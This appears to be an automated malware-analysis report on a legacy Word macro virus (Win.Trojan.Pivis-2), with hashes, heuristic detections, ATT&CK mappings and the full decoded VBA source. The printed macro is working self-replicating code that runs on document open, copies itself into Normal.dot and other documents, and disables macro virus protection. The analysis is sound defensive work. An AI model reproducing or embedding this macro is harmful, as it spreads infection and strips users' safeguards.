Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 bf247bbacde7b20d…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-08-13 19:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b5f8a708b0377ec57e62836201adfb12 SHA-1: e0eb910a8f864d074cd60359542113ed511998c0 SHA-256: bf247bbacde7b20d833cbd45a98a4783770849ec90d278d5f12df0550456726e
248 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and a VBA AutoOpen macro, indicating malicious intent. The macro code attempts to copy itself using the string "toolsmacro" and manipulates file attributes, likely to embed itself into the Normal template or document. ClamAV detections further confirm its malicious nature as Win.Trojan.Pivis-2 and Doc.Trojan.Disco-1.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                Application.OrganizerCopy Source:= _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "autoOpen"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2210 bytes
SHA-256: 5f6bcf0ff185ef1832034cd1fa60ad3d1b683385f992ba70ae41c73b9a34b6e7
Detection
ClamAV: Doc.Trojan.Disco-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"


Public Sub MAIN()
Dim Xanax$
Dim Klonopin$
Dim Soma$
Dim Heroin
Dim t$

    On Error GoTo -1: On Error GoTo hell
    t$ = "t" + "oo" + "l" + "s" + "m" + "a" + "c" + "r" + "o"

    Xanax$ = WordBasic.[FileName$]() + ":" + "a" + "u" + "to" + "O" + "p" + "en"
    Klonopin$ = "G" + "l" + "o" + "b" + "a" + "l:" + "a" + "u" + "to" + "O" + "p" + "en"
    
    
    Soma$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))

    If Soma$ = "N" + "O" + "R" + "M" + "A" + "L" + "." + "D" + "OT" Then
        Heroin = GetAttr(WordBasic.[FileName$]())
        If Heroin >= 32 Then Heroin = Heroin - 32
        If Heroin >= 4 Then Heroin = Heroin - 4
        If Heroin >= 2 Then Heroin = Heroin - 2
        If Heroin = 0 Then
        
            WordBasic.MacroCopy Klonopin$, Xanax$
            WordBasic.FileSaveAs Format:=1
            WordBasic.SetDocumentDirty 0
            
            Application.OrganizerCopy Source:= _
        NormalTemplate.FullName, Destination:= _
        ActiveDocument.FullName, Name:=t$, Object:= _
        wdOrganizerObjectProjectItems
            
            
            WordBasic.FileSaveAs Format:=1
            WordBasic.SetDocumentDirty 0
        End If
    Else
        WordBasic.MacroCopy Xanax$, Klonopin$
        
        Application.OrganizerCopy Source:= _
        ActiveDocument.FullName, Destination:= _
        NormalTemplate.FullName, Name:=t$, Object:= _
        wdOrganizerObjectProjectItems
        
    End If
    
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    With ActiveDocument
        .ReadOnlyRecommended = False
        .Password = ""
        .WritePassword = ""
    End With

    
GoTo fuckoff

hell:

fuckoff:
    On Error GoTo -1: On Error GoTo 0


End Sub